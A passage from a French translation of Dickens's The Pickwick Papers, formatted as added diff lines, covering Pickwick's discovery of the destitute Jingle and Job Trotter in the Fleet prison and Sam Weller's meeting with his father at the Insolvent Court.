+accorde à ceux dont les âmes sont allées comparaître devant leur juge.
+Des amis pour me voir, mon Dieu! Ma jeunesse s'est consumée dans ce
+donjon, et il n'y aura personne pour lever sa main au-dessus de mon lit,
+quand je serai mort, et pour dire: Dieu soit loué, il ne souffre plus!»
+
+Le feu inaccoutumé que l'excitation du vieillard avait jeté sur ses
+traits s'éteignit aussitôt qu'il eut fini de parler; il pressa l'une
+contre l'autre ses mains décharnées et sortit brusquement de la chambre.
+
+«Eh! eh! il se cabre encore quelquefois! dit M. Roker avec un sourire.
+C'est comme les éléphants; ils sentent la pointe de temps en temps, et
+ça les rend furieux.»
+
+Ayant fait cette remarque, pleine de sympathie, M. Roker s'occupa avec
+tant d'activité des arrangements nécessaires au confort de M. Pickwick,
+qu'en peu de temps la chambre fut garnie d'un tapis, de six chaises,
+d'une table, d'un lit sofa, des ustensiles nécessaires pour le thé, et
+de divers autres, etc. Le tout ne devait coûter à M. Pickwick que le
+prix fort raisonnable de vingt-sept shillings et six pence par semaine.
+
+«Y a-t-il encore quelque chose que nous puissions faire pour vous?
+demanda M. Roker en regardant autour de lui avec grande satisfaction et
+en faisant sonner dans sa main la première semaine de son loyer.
+
+«Mais, oui, répondit M. Pickwick, qui, depuis quelques minutes,
+réfléchissait profondément. Trouve-t-on ici des gens qui font des
+commissions?
+
+--Vous voulez dire au dehors?
+
+--Oui, des gens qui puissent aller au dehors, pas des prisonniers.
+
+--Nous avons votre affaire. Il y a un pauvre diable qui a un ami dans
+le quartier des pauvres et qui est bien content quand on l'emploie.
+Voilà deux mois qu'il fait des courses et des commissions pour gagner sa
+vie. Faut-il que je vous l'envoie?
+
+--S'il vous plaît... attendez... non.... Le quartier des pauvres,
+dites-vous? Je suis curieux de voir cela; je vais y aller moi-même.»
+
+Le quartier des pauvres, dans une prison pour dettes, est, comme son nom
+l'indique, la demeure des débiteurs les plus misérables. Un prisonnier
+qui se déclare pour le quartier des pauvres ne paye ni rente, ni taxe de
+copie. Le droit qu'il doit acquitter, en entrant dans la prison et en en
+sortant, est extrêmement réduit, et il reçoit une petite quantité de
+nourriture, achetée sur le revenu des faibles legs laissés de temps en
+temps pour cet objet par des personnes charitables. Il y a quelques
+années seulement, on voyait encore extérieurement, dans le mur de la
+prison de la Flotte, une espèce de cage de fer où se postait un homme à
+la physionomie affamée, qui secouait de temps en temps une tirelire en
+s'écriant d'une voix lugubre: «N'oubliez pas les pauvres débiteurs, s'il
+vous plaît!» La recette de cette quête, lorsqu'il y avait recette, était
+partagée entre les pauvres prisonniers, qui se relevaient tour à tour
+dans cet emploi dégradant.
+
+Quoique cette coutume ait été abolie et que la cage ait disparu
+maintenant, la condition misérable de ces pauvres gens est encore la
+même. On ne souffre plus qu'ils fassent appel à la compassion des
+passants, mais, pour l'admiration des âges futurs, on a laissé subsister
+les lois justes et bienfaisantes qui déclarent que le criminel vigoureux
+sera nourri et habillé, tandis que le débiteur sans argent se verra
+condamné à mourir de faim et de nudité. Et ceci n'est pas une fiction:
+il ne se passe pas une semaine dans laquelle quelques-uns des
+prisonniers pour dette ne dussent inévitablement périr dans les lentes
+agonies de la faim, s'ils n'étaient pas secourus par leurs camarades de
+prison.
+
+Repassant ces choses dans son esprit, tout en montant l'étroit escalier,
+au pied duquel il avait été laissé par le guichetier, M. Pickwick
+s'échauffa graduellement jusqu'au plus haut degré d'indignation; et il
+avait été tellement excité par ses réflexions sur ce sujet, qu'il était
+entré dans la chambre qu'on lui avait indiquée dans le quartier des
+pauvres, sans avoir aucun sentiment distinct ni de l'endroit où il
+était, ni de l'objet de sa visite.
+
+L'aspect de la chambre le rappela tout à coup à lui-même, mais lorsque
+ses regards se portèrent sur un homme languissamment assis près d'un
+mauvais feu, il laissa tomber son chapeau de surprise et resta immobile
+et comme pétrifié.
+
+Oui, cet homme sans habit, sans gilet, dont le pantalon était déchiré,
+dont la chemise de calicot était jaunie et déchirée, dont les grands
+cheveux pendaient en désordre, dont les traits étaient creusés par la
+souffrance et par la famine, c'était M. Alfred Jingle! Il se tenait la
+tête appuyée sur la main: ses yeux étaient fixés sur le feu et tout son
+extérieur dénotait la misère et l'abattement.
+
+Auprès de lui, négligemment accoté contre le mur, se trouvait un
+vigoureux campagnard, caressant avec un vieux fouet de chasse-la-botte
+qui ornait son pied droit, le pied gauche étant fourré dans une
+pantoufle. Les chevaux, les chiens, la boisson avaient causé sa ruine.
+Il y avait encore à cette botte solitaire un éperon rouillé, qu'il
+enfonçait quelquefois dans l'air en faisant vigoureusement claquer son
+fouet et en murmurant quelques-unes de ces interjections par lesquelles
+un cavalier encourage son cheval: il exécutait, évidemment, en
+imagination, quelque furieuse course au clocher. Pauvre diable! le
+meilleur cheval de son écurie ne lui avait jamais fait faire une course
+aussi rapide que celle qui s'était terminée à la Flotte.
+
+De l'autre côté de la chambre, un vieillard, assis sur une caisse de
+bois, tenait ses yeux attachés au plancher. Un profond désespoir
+immobilisait son visage. Un enfant, son arrière-petite-fille, se pendait
+après lui et s'efforçait d'attirer son attention par mille inventions
+enfantines; mais le vieillard ne la voyait ni ne l'entendait. La voix
+qui lui avait paru si musicale, les yeux qui avaient été sa lumière, ne
+produisaient plus d'impression sur ses sens; la maladie faisait trembler
+ses genoux et la paralysie avait glacé son esprit.
+
+Dans un autre coin de la salle, deux ou trois individus formaient un
+petit groupe et parlaient bruyamment entre eux. Plus loin, une femme au
+visage maigre et hagard, la femme d'un prisonnier, s'occupait à arroser
+les misérables restes d'une plante desséchée, qui ne devait jamais
+reverdir: emblème trop vrai, peut-être, du devoir qu'elle venait remplir
+dans la prison.
+
+Tels étaient les misérables prisonniers qui se présentèrent aux yeux de
+M. Pickwick, tandis qu'il regardait autour de lui avec étonnement.
+Entendant le pas précipité de quelqu'un qui entrait dans la chambre, il
+tourna les yeux vers la porte, et, dans le nouveau venu, à travers ses
+haillons, sa malpropreté, sa misère, il reconnut les traits familiers de
+M. Job Trotter.
+
+«Monsieur Pickwick! s'écria Job à haute voix.
+
+--Eh! fit Jingle en tressaillant et en se levant de son siége,
+monsieur.... C'est vrai; drôle d'endroit, étrange chose! Je le méritais;
+c'est bien fait.»
+
+En disant ces mots, M. Jingle fourra ses mains à la place où les poches
+de son pantalon avaient coutume d'être; et, laissant tomber son menton
+sur sa poitrine, s'affaissa de nouveau sur sa chaise.
+
+M. Pickwick fut affecté; ces deux hommes avaient l'air si misérable! Le
+coup d'oeil affamé, involontaire que Jingle avait jeté sur un petit
+morceau de mouton cru, apporté par Job, expliquait plus clairement que
+ne l'aurait pu faire un récit de deux heures l'état de dénûment auquel
+il avait été réduit. M. Pickwick regarda Jingle d'un air doux et lui
+dit:
+
+«Je désirerais vous parler en particulier. Voulez-vous sortir avec moi
+pour un instant.
+
+--Certainement, répondit Jingle en se levant avec empressement. Ne peux
+pas aller bien loin. Pas de danger de trop marcher ici. Parc clos d'un
+mur à chevaux de frise. Joli terrain, pittoresque, mais peu étendu.
+L'entrée ouverte au public. La famille toujours en ville. La femme de
+charge terriblement soigneuse.
+
+--Vous avez oublié votre habit, dit M. Pickwick en descendant
+l'escalier.
+
+--Ah! oui.... il est au clou.... accroché chez une de mes bonnes
+parentes, ma tante du côté maternel. Pouvais pas faire autrement. Faut
+manger, vous savez; besoins de nature, et tout cela.
+
+--Qu'est ce que vous voulez dire?
+
+--Mon vêtement a signé un engagement volontaire, mon cher monsieur,
+dernier habit. Bah! ce qui est fait est fait. J'ai vécu d'une paire de
+bottes toute une quinzaine; d'un parapluie de soie, poignée d'ivoire,
+toute une semaine; c'est vrai ma parole d'honneur. Demandez à Job; il le
+sait bien.
+
+--Vous avez vécu pendant trois semaines d'une paire de bottes et d'un
+parapluie de soie avec une poignée d'ivoire! s'écria M. Pickwick, frappé
+d'horreur, et qui n'avait entendu parler de choses semblables que dans
+l'histoire des naufrages.
+
+--Vrai, rétorqua Jingle en secouant la tête. Les reconnaissances sont
+là. Prêteurs sur gages, tous voleurs: ne donnent presque rien....
+
+--Oh! dit M. Pickwick grandement soulagé par cette explication. Je
+comprends; vous avez mis vos effets en gage?
+
+--Tout. Job aussi; toutes ses chemises en plus. Bah! ça économise le
+blanchissage. Plus rien bientôt. On reste couché; on meurt de faim.
+L'enquête se fait. Pauvre prisonnier. Misère! Étouffer cela! Les
+gentlemen du jury, fournisseurs de la prison; pas d'éclat, mort
+naturelle. Convoi des pauvres, bien mérité. Tout est fini: tirez le
+rideau.»
+
+Jingle débita ce singulier sommaire de son avenir avec sa volubilité
+accoutumée et en s'efforçant par différentes grimaces de contrefaire un
+sourire. Cependant M. Pickwick s'aperçut aisément que cette insouciance
+était jouée; et, le regardant en face, mais non pas sévèrement, il vit
+que ses yeux étaient mouillés de larmes.
+
+«Bon enfant, reprit Jingle en pressant la main du philosophe et en
+détournant la tête. Chien d'ingrat! Bête de pleurer; impossible de faire
+autrement. Mauvaise fièvre; faible, malade, affamé; mérité tout cela,
+mais souffert beaucoup! ah! beaucoup!»
+
+Incapable de se contenir, et peut-être plus énervé par les efforts qu'il
+avait déjà faits pour y parvenir, l'histrion abattu s'assit sur
+l'escalier; et, couvrant son visage de ses mains, se prit à sangloter
+comme un enfant.
+
+«Allons! allons! dit M. Pickwick avec beaucoup d'émotion. Je verrai ce
+qu'on peut faire quand je connaîtrai mieux votre histoire. Ici Job; où
+est-il donc?
+
+--Voilà, monsieur,» répondit Job en se montrant sur l'escalier.
+
+Nous l'avons représenté quelque part comme ayant, dans son bon temps,
+des yeux fort creux. Dans son état présent de besoin et de détresse, il
+avait l'air de n'en plus avoir du tout.
+
+«Voilà, monsieur, dit Job.
+
+--Venez ici, monsieur, reprit M. Pickwick en essayant d'avoir l'air
+sévère, avec quatre grosses larmes qui coulaient sur son gilet. Prenez
+cela.»
+
+Prenez quoi? Suivant les habitudes du monde, ce devait être un coup de
+poing solidement appliqué, car M. Pickwick avait été dupé, bafoué par
+le pauvre diable qui se trouvait maintenant en son pouvoir. Faut-il dire
+la vérité? C'était quelque chose qui sortait du gousset de M. Pickwick
+et qui sonna dans la main de Job; et, lorsque notre excellent ami
+s'éloigna précipitamment, une étincelle humide brillait dans son oeil et
+son coeur était gonflé.
+
+En rentrant dans sa chambre, M. Pickwick y trouva Sam, qui contemplait
+ces nouveaux arrangements avec une sombre satisfaction, fort curieuse à
+voir. Décidément opposé à ce que son maître demeurât là, en aucune
+manière, il considérait comme un devoir moral de ne paraître content
+d'aucune chose qui y serait faite, dite, suggérée ou proposée.
+
+«Eh bien! Sam?
+
+--Eh bien! monsieur?
+
+--Assez confortable, maintenant, n'est-ce pas?
+
+--Oui, pas mal, monsieur, répondit Sam en regardant autour de lui d'une
+manière méprisante.
+
+--Avez-vous vu M. Tupman et nos autres amis?
+
+--Oui, monsieur. Ils viendront demain; et ils ont été bien surpris
+d'apprendre qu'ils ne devaient pas venir aujourd'hui.
+
+--Vous m'avez apporté les choses dont j'avais besoin?»
+
+Pour toute réponse, Sam montra du doigt différents paquets qui étaient
+arrangés aussi proprement que possible dans un coin de la chambre.
+
+«Très-bien, dit M. Pickwick; et, après un peu d'hésitation, il ajouta:
+Écoutez ce que j'ai à vous dire, Sam.
+
+--Certainement, monsieur; faites feu, monsieur.
+
+--Sam, poursuivit M. Pickwick avec beaucoup de solennité, j'ai senti,
+dès le commencement, que ce n'est pas ici un endroit convenable pour un
+jeune homme.
+
+--Ni pour un vieux, non plus, monsieur.
+
+--Vous avez tout à fait raison, Sam. Mais les vieillards peuvent venir
+ici à cause de leur imprudente confiance, et les jeunes gens peuvent y
+être amenés par l'égoïsme de ceux qu'ils servent. Il vaut mieux, pour
+ces jeunes gens, sous tous les rapports, qu'ils ne restent point ici. Me
+comprenez-vous, Sam?
+
+--Ma foi! non, monsieur; non, répondit Sam d'un ton obstiné.
+
+--Essayez, Sam.
+
+--Eh bien! monsieur, répliqua Sam après une courte pause je crois voir
+où vous voulez en venir; et, si je vois où vous voulez en venir, c'est
+mon opinion que c'est un peu trop fort, comme disait le cocher de la
+malle lorsqu'il fut pris dans un tourbillon de neige.
+
+--Je vois que vous me comprenez, Sam. Comme je vous l'ai dit, je désire
+d'abord que vous ne demeuriez pas à perdre votre temps dans un endroit
+comme celui-ci; mais, en outre, je sens que c'est une monstreuse
+absurdité qu'un prisonnier pour dettes ait un domestique avec lui. Il
+faut que vous me quittiez pour quelque temps, Sam.
+
+--Oh! pour quelque temps, monsieur? répéta Sam, avec un léger accent de
+sarcasme.
+
+--Oui, pour le temps que je demeurerai ici. Je continuerai à payer vos
+gages, et l'un de mes trois amis sera heureux de vous prendre avec lui,
+ne fût-ce que par respect pour moi. Si jamais je quitte cet endroit,
+Sam, poursuivit M. Pickwick avec une gaieté affectée, je vous donne ma
+parole que vous reviendrez aussitôt avec moi.
+
+--Maintenant, je vas vous dire ce qui en est, monsieur; répliqua Sam
+d'une voix grave et solennelle. Ça ne peut pas aller comme ça: ainsi,
+n'en parlons plus.
+
+--Sam, je vous parle sérieusement: j'y suis résolu.
+
+--Vous êtes résolu, monsieur? Très-bien, monsieur. Eh bien! moi aussi
+alors.»
+
+En prononçant ces mots d'une voix ferme, Sam fixa son chapeau sur sa
+tête avec une grande précision, et quitta brusquement la chambre.
+
+«Sam! lui cria M. Pickwick, Sam, venez ici!»
+
+Mais la longue galerie avait déjà cessé de répéter l'écho de ses pas.
+Sam était parti.
+
+
+
+
+CHAPITRE XIV.
+
+Comment M. Samuel Weller se mit mal dans ses affaires.
+
+
+Dans une grande salle mal éclairée et plus mal aérée, située dans
+_Portugal Street, Lincoln's Inn fields_, siégent durant presque toute
+l'année un, deux, trois ou quatre gentlemen en perruque, qui ont devant
+eux de petits pupitres mal vernis. Des stalles d'avocats sont à leur
+main droite; à leur main gauche, une enceinte pour les débiteurs
+insolvables; et en face, un plan incliné de figures spécialement
+malpropres. Ces gentlemen en perruque sont les commissaires de la Cour
+des insolvables, et l'endroit où ils siégent est la Cour des insolvables
+elle-même.
+
+Depuis un temps immémorial, c'est le remarquable destin de cette cour
+d'être regardée, par le consentement universel de tous les gens râpés de
+Londres, comme leur lieu de refuge habituel pendant le jour. La salle
+est toujours pleine; les vapeurs de la bière et des spiritueux montent
+constamment vers le plafond, s'y condensent par le froid et redescendent
+comme une pluie le long des murs. Là, se trouvent à la fois plus de
+vieux habits que n'en mettent en vente durant tout un an les juifs du
+quartier de _Houndsditch_, et plus de peaux crasseuses, plus de barbes
+longues, que toutes les pompes et les boutiques de barbiers situées
+entre _Tyburn_ et _Whitechapel_ n'en pourraient nettoyer entre le lever
+et le coucher du soleil.
+
+Il ne faut pas supposer que quelques-uns de ces individus aient l'ombre
+d'une affaire dans l'endroit où ils se rendent si assidûment; s'ils en
+avaient, leur présence ne serait plus surprenante, et la singularité de
+la chose cesserait immédiatement. Quelques-uns dorment pendant la plus
+grande partie de la séance; d'autres apportant leur dîner dans leur
+mouchoir, ou dans leur poche déchirée, et mangent tout en écoutant, avec
+un double délice: mais jamais un seul d'entre eux ne fut connu pour
+avoir le plus léger intérêt personnel dans aucune des affaires traitées
+par la cour. Quelle que soit la manière dont ils occupent leur temps,
+ils restent là, tous, depuis le commencement jusqu'à la fin de la
+séance. Quand il pleut, ils arrivent tout trempés, et alors, les vapeurs
+qui s'élèvent de l'audience ressemblent à celles d'un marais.
+
+Un observateur qui se trouverait là par hasard pourrait imaginer que
+c'est un temple élevé au génie de la pauvreté râpée. Il n'y a pas un
+seul messager, pas un huissier qui porte un habit fait pour lui; il n'y
+a pas dans tout l'établissement un seul homme passablement frais et bien
+portant, si ce n'est un petit huissier aux cheveux blancs, à la figure
+rougeaude; et encore, comme une cerise à l'eau-de-vie mal conservée, il
+semble avoir été desséché par un procédé artificiel dont il n'a pas le
+droit de tirer vanité. Enfin les perruques des avocats eux-mêmes sont
+mal poudrées et mal frisées.
+
+Mais, après tout, les avoués qui siégent derrière une vaste table toute
+nue, au-dessous des commissaires, sont encore la plus grande curiosité
+de cet endroit. L'établissement professionnel du plus opulent de ces
+gentlemen consiste en un sac bleu,[15] et un jeune clerc ordinairement
+juif. Ils n'ont point de cabinet, mais ils traitent leurs affaires
+légales dans les tavernes, ou dans la cour des prisons où ils se rendent
+en foule et se disputent les chalands, à la manière des conducteurs
+d'omnibus. Ils ont une physionomie bouffie et moisie, et si on peut les
+soupçonner de quelques vices, c'est principalement d'ivrognerie et de
+friponnerie. Leur résidence se trouve ordinairement dans un rayon d'un
+mille, autour de l'obélisque de _Saint George's Fields_. Leur tournure
+n'est pas engageante, et leurs manières sont _sui generis_.
+
+[Footnote 15: Les avocats anglais portent leurs dossiers dans un sac de
+serge bleue.]
+
+M. Salomon Pell, l'un des membres de cet illustre corps, était un homme
+gras, flasque et pâle. Son habit semblait tantôt vert, tantôt brun,
+suivant les reflets du jour, et était orné d'un collet de velours, qui
+offrait la même particularité. Son front était étroit, sa face large, sa
+tête grosse, et, son nez tourné tout d'un côté, comme si la nature,
+indignée des mauvais penchants qu'elle découvrait en lui à sa naissance,
+lui avait donné, de colère, une secousse dont il ne s'était jamais
+relevé. Au reste, comme M. Pell était replet et asthmatique, il
+respirait principalement par cet organe qui, de la sorte, rachetait
+peut-être en utilité ce qui lui manquait en beauté.
+
+«Je suis sûr de le tirer d'affaire, disait M. Pell.
+
+--Bien sûr? demanda la personne à qui cette assurance était donnée.
+
+--Sûr et certain, répliqua M. Pell. Mais, voyez-vous, s'il avait
+rencontré quelque praticien irrégulier je n'aurais pas répondu des
+conséquences.
+
+--Ah! fit l'autre avec une bouche toute grande ouverte.
+
+--Non, je n'en aurais pas répondu,» répéta M. Pell; et il pinça ses
+lèvres, fronça ses sourcils, et secoua sa tête mystérieusement.
+
+Or, l'endroit où se tenait ce discours était la taverne qui se trouve
+juste en face de la Cour des insolvables; et la personne à qui il était
+adressé n'était autre que M. Weller, _senior_. Il était venu là pour
+réconforter un de ses amis dont la pétition, pour être renvoyé en
+qualité de débiteur honnêtement insolvable, devait être présentée ce
+jour-là même; et c'était à ce sujet que l'avoué exposait son opinion de
+la manière sus-énoncée.
+
+«Et George, où est-il?» demanda M. Weller.
+
+M. Pell ayant incliné la tête dans la direction d'un arrière-parloir, M.
+Weller s'y rendit immédiatement, et fut salué de la manière la plus
+chaleureuse et la plus flatteuse par une demi douzaine de ses confrères.
+Le gentleman insolvable, qui avait contracté une passion spéculative,
+mais imprudente, pour établir des relais de poste, avait l'air fort bien
+portant, et s'efforçait de calmer l'excitation de ses esprits avec des
+omettes et du _porter_.
+
+Le salut échangé entre M. Weller et ses amis se borna strictement à la
+franc-maçonnerie du métier, c'est-à-dire au renversement du poignet
+droit, en agitant en même temps le petit doigt en l'air. Nous avons
+connu autrefois deux fameux cochers (pauvres garçons, ils sont morts
+maintenant!) qui étaient jumeaux, et entre lesquels existait
+l'attachement le plus sincère, le plus dévouée. Ils se croisaient,
+chaque jour, sur la route de Douvres, sans échanger jamais d'autre salut
+que celui que nous venons de décrire; et cependant, quand l'un des deux
+mourut, l'autre tomba en langueur, et le suivit bientôt après.
+
+«Eh ben! George? dit M. Weller, en ôtant sa redingote et en s'asseyant
+avec sa gravité accoutumée. «Comment ça marche-t-i'. Tout va-t-i' ben
+sur l'impériale; tout est-i' plein dans le coupé?
+
+--Tout va bien, vieux camarade, repartit le gentleman qui avait fait de
+mauvaises affaires.
+
+--La jument grise est-elle passée à quelqu'un?» demanda M. Weller avec
+anxiété. Georges fit un signe affirmatif.
+
+--Bon! c'est bien. On a eu soin des voitures aussi?
+
+--Consignées dans un endroit sûr, répliqua Georges, en arrachant la tête
+d'une demi-douzaine de crevettes, et en les avalant sans plus de
+cérémonie.
+
+--Très-bien, très-bien; dit M. Weller. Faites toujours attention à la
+mécanique quand vous descendez un coteau. La feuille de route est-elle
+bien dressée?»
+
+M. Pell devinant la pensée de M. Weller, prit la parole et dit:
+«L'inventaire de l'actif et du passif est aussi clair et aussi
+satisfaisant que la plume et l'encre peuvent le rendre.»
+
+M. Weller fit un signe de tête qui impliquait son approbation de ces
+arrangements, et ensuite se tournant vers M. Pell, il lui dit, en
+montrant son ami Georges:
+
+«Quand est-ce que vous y ôtez sa couverture?
+
+--Eh?... Il est le troisième sur la liste des débiteurs dont les
+créanciers refusent de reconnaître l'insolvabilité, et je pense que son
+tour arrivera dans une demi-heure. J'ai dit à mon clerc de venir me
+prévenir quand il y aurait une chance.»
+
+M. Weller considéra l'avoué des pieds à la tête avec grande» admiration,
+et dit emphatiquement:
+
+«Qu'est-ce que vous voulez prendre, mossieu?
+
+--Mais, en vérité, vous êtes bien.... Ma parole d'honneur, je n'ai pas
+l'habitude de.... Il est réellement de si bonne heure que.... Eh bien!
+Vous pouvez m'apporter pour trois pence de rhum, ma chère.»
+
+La demoiselle servante, qui avait anticipé la conclusion de ce discours,
+posa un verre devant Pell et se retira.
+
+«Gentlemen, dit M. Pell en regardant toute la compagnie, bonne chance à
+votre ami! Je n'aime pas à me vanter, gentlemen, ce n'est pas dans mes
+habitudes; pourtant je ne puis pas m'empêcher de dire que, si votre ami
+n'avait pas été assez heureux pour tomber dans des mains qui.... Mais je
+ne veux pas dire ce que j'allais dire.... Gentlemen, à vos santés!»
+
+Ayant vidé son verre en un clin d'oeil, M. Pell fit claquer ses lèvres
+et regarda avec complaisance le cercle des cochers, aux yeux desquels il
+passait évidemment pour une espèce d'oracle.
+
+«Voyons, reprit-il, qu'est-ce que je disais, gentlemen?
+
+--Vous observiez que vous n'en refuseriez pas un second verre, dit M.
+Weller avec une gravité facétieuse.
+
+--Ha! ha! Pas mauvais, pas mauvais.... Un bon... bon.... À cette
+époque-ci de la matinée, ce serait un peu.... Eh bien! vous attendez, ma
+chère.... Vous pouvez m'apporter la seconde édition, s'il vous plaît....
+Hem!»
+
+Ce dernier mot représente une toux solennelle et pleine de dignité, que
+M. Pell avait cru se devoir à lui-même, en remarquant parmi ses
+auditeurs une indécente disposition à la gaieté.
+
+«Gentlemen, reprit M. Pell, le défunt lord chancelier m'aimait beaucoup.
+
+--Et c'était fort honorable pour lui, interrompit M. Weller.
+
+--Écoutez, écoutez! cria le client de l'homme d'affaires. Pourquoi pas?
+
+--Ah! oui; pourquoi pas, en vérité? répéta un homme au visage
+très-rouge, qui n'avait encore rien dit jusqu'alors, et qui avait tout à
+fait l'air de n'avoir rien à dire de plus. Pourquoi pas?»
+
+Un murmure d'assentiment circula dans la compagnie.
+
+«Je me rappelle, gentlemen, que, dînant avec lui un certain jour... nous
+n'étions que nous deux, mais tout était aussi splendide que si l'on
+avait attendu vingt personnes.... Le grand sceau était sur une étagère,
+à sa droite, et à sa gauche un homme en grande perruque et couvert d'une
+armure gardait la masse, avec un sabre nu et des bas de soie.... Ce qui
+se fait perpétuellement, gentlemen, la nuit et le jour. Il me dit tout à
+coup: «Pell, dit-il, pas de fausse délicatesse. Pell, vous êtes un homme
+de talent; vous pouvez faire passer qui vous voulez à la Cour des
+insolvables. Votre pays doit être fier de vous, Pell.» Ce sont là ses
+propres paroles, «Mylord, lui dis-je, vous me flattez.--Pell, dit-il, si
+je vous flatte, je veux être damné!...»
+
+--A-t-il dit ça? interrompit M. Weller.
+
+--Il l'a dit.
+
+--Eh bien! alors je dis que le parlement aurait dû le mettre à l'amende
+pour avoir juré, et si le chancelier avait été un pauv' diable, on l'y
+aurait mis.
+
+--Mais, mon cher monsieur, il connaissait ma discrétion.... Il me disait
+cela en toute confiance.
+
+--Et quoi?
+
+--En toute confiance.
+
+--Ah! très-bien, répartit M. Weller après un petit moment de réflexion.
+S'il se damnait en toute confiance, ça change la question.
+
+--Nécessairement la distinction est évidente.
+
+--Ça change la question entièrement. Continuez, monsieur.
+
+--Non, je ne continuerai pas, reprit M. Pell d'une voix basse et
+sérieuse. Vous m'avez rappelé, monsieur, que c'était une conversation
+privée.... privée et confidentielle, gentlemen. Gentlemen, je suis un
+homme de loi.... Il est possible que je sois fort estimé dans ma
+profession; il est possible que je ne le sois pas. Chacun peut le
+savoir; je n'en dis rien. On a déjà fait dans cette chambre des
+observations injurieuses à la mémoire de mon noble ami. Vous
+m'excuserez, gentlemen, j'avais été imprudent.... Je sens que je n'ai
+pas le droit de parler de cette matière sans son consentement. Je vous
+remercie, monsieur, de m'en avoir fait souvenir.»
+
+M. Pell, ainsi dégagé, fourra ses mains dans ses poches, fit résonner
+avec une détermination terrible trois demi-pence qui s'y trouvaient, et
+fronça le sourcil en regardant autour de lui.
+
+Il venait à peine d'exprimer sa vertueuse résolution, lorsque le galopin
+et le sac bleu, deux inséparables compagnons, se précipitèrent dans la
+chambre et dirent (ou du moins le galopin _dit_, car le sac bleu ne prit
+aucune part à cette annonce) que la cause allait passer à l'instant.
+Toute la compagnie se hâta aussitôt de traverser la rue et de faire le
+coup de poing pour pénétrer dans la salle, cérémonie préparatoire qui,
+dans les cas ordinaires, a été calculée durer de vingt-cinq à trente
+minutes.
+
+M. Weller, qui était puissant, se jeta tout d'abord au milieu de la
+foule dans l'espérance d'arriver, à la fin, dans quelque endroit qui lui
+conviendrait; mais le succès ne répondit pas entièrement à son attente,
+et son chapeau, qu'il avait négligé d'ôter, fut tout à coup enfoncé sur
+ses yeux par une personne invisible, dont il avait pesamment froissé les
+orteils. Cet individu regretta apparemment son impétuosité, car
+l'instant d'après, murmurant une indistincte exclamation de surprise, il
+entraîna le gros homme dans la salle, et, avec de violents efforts, le
+débarrassa de son chapeau.
+
+«Samivel!» s'écria M. Weller, quand il lui fut possible de voir la
+lumière.
+
+Sam fit un signe de tête.
+
+«Tu es un fils bien affectionné, bien soumis? Coiffer com' ça ton père
+dans sa vieillesse!
+
+--Comment pouvais-je savoir que c'était vous? Est-ce que vous croyez que
+je peux vous reconnaître au poids de votre pied?
+
+--Ha! c'est vrai, Samivel, repartit M. Weller immédiatement amolli. Mais
+qu'est-ce que tu fais ici? Ton gouverneur ne peut rien gagner ici,
+Sammy. I' ne passeront pas le verdict, Sammy; i' ne l' passeront pas. Et
+M. Weller secouait la tête avec une gravité toute judiciaire.
+
+--Quelle vieille caboche obstinée! s'écria Sam. Toujours avec les
+verdicts et les allébis, et tout ça. Qu'est-ce qui vous parle de
+verdicts?»
+
+M. Weller ne fit point de réponse, mais il secoua encore la tête avec
+une solennité officielle.
+
+«Ne dandinez pas votre coloquinte comme ça, si vous ne voulez pas la
+démancher tout à fait, poursuivit Sam avec impatience. Comportez-vous
+raisonnablement. J'ai été vous chercher hier soir au marquis de Granby.
+
+--As-tu vu la marquise de Granby? dit M. Weller avec un soupir.
+
+--Oui.
+
+--Quelle mine avait la pauvre femme?
+
+--Fort drôle. J'imagine qu'elle se détériore graduellement avec le rhum
+et les autres médecines de même nature qu'elle s'administre.
+
+--Tu crois, Sammy? s'écria M. Weller avec un vif intérêt.
+
+--Oui, bien sûr.»
+
+M. Weller saisit la main de son fils, la serra, puis la laissa retomber;
+et durant cette action, sa contenance ne révélait pas la crainte ni la
+douleur, mais reflétait plutôt la douce expression de l'espérance. Un
+rayon de résignation et même de contentement passa sur son visage,
+pendant qu'il disait:
+
+«Je ne suis pas tout à fait sûr et certain de la chose, Sammy; je ne
+veux pas trop y compter de peur d'un désappointement subséquent; mais il
+me semble, mon garçon, il me semble que le berger a gagné une maladie de
+foie.
+
+--A-t-il mauvaise mine?
+
+--Étonnamment pâle, excepté son nez qu'est plus rouge que jamais. Son
+appétit est médiocre; mais il imbibe prodigieusement.»
+
+Pendant que M. Weller prononçait ces dernières paroles, quelques idées
+associées avec le rhum passaient probablement dans son esprit, car son
+air devint triste et pensif; mais il se remit presque aussitôt, ce qui
+fut attesté par tout un alphabet de clignements d'yeux, auxquels il
+n'avait coutume de se livrer que quand il était particulièrement
+satisfait.
+
+«Allons, maintenant, arrivons à mon affaire, reprit Sam. Ouvrez-moi vos
+oreilles, et ne soufflez mot jusqu'à ce que j'aie fini.»
+
+Après ce court exorde, Sam rapporta aussi succinctement qu'il le put la
+dernière et mémorable conversation qu'il avait eue avec M. Pickwick.
+
+«Pauvre créature! s'écria M. Weller. Rester là tout seul sans personne
+pour prendre son parti! Ça ne se peut pas, Samivel; ça ne se peut pas.
+
+--Parbleu! je savais ça avant que de venir.
+
+--Ils le mangeraient tout cru, Sammy.» Sam témoigna par un signe qu'il
+était de la même opinion.
+
+«Et s'ils ne le dévorent pas, il en sortira si bien plumé que ses
+propres amis ne le connaîtront pas. Un pigeon bardé n'es rien auprès,
+Sammy.»
+
+Sam répéta le même signe.
+
+«Ça ne se doit pas, Samivel, continua M. Weller gravement.
+
+--Ça ne sera pas, dit Sam.
+
+--Certainement non, poursuivit M. Weller.
+
+--Eh bien! reprit Sam, vous prophétisez comme un véritable Bât-l'âne,
+qui a un visage si rougeaud dans le livre à six pence.
+
+--Qu'est-ce qu'il était, Sammy?
+
+--Ça ne vous fait rien; c'était pas un cocher; ça doit vous suffire.
+
+--J'ai connu un palefrenier de ce nom là, dit M. Weller en
+réfléchissant.
+
+--C'est pas lui; le mien était un prophète.
+
+--Qu'est-ce que c'est qu'un prophète? demanda M. Weller en regardant son
+fils d'un air sévère.
+
+--Eh bien! c'est un homme qui dit ce qui doit arriver.
+
+--Je voudrais bien le connaître, Sammy. Peut-être qui pourrait me jeter
+un petit brin de lumière sur cette maladie de foie dont je te parlais
+tout à l'heure. Quoiqu'i' n'en soit, s'il est mort, et s'il n'a laissé
+sa boutique à personne, voilà qu'est fini. Continue, Sammy, dit M.
+Weller avec un soupir.
+
+--Eh bien! reprit Sam, vous avez prophétisé ce qui arrivera au
+gouverneur s'il reste tout seul. Voyez-vous quelques moyens d'avoir soin
+de lui?
+
+--Non, Sammy, non, répondit M. Weller d'un air pensif.
+
+--Pas de moyens du tout?
+
+--Non, pas un seul. À moins.... Un rayon d'intelligence éclaira la
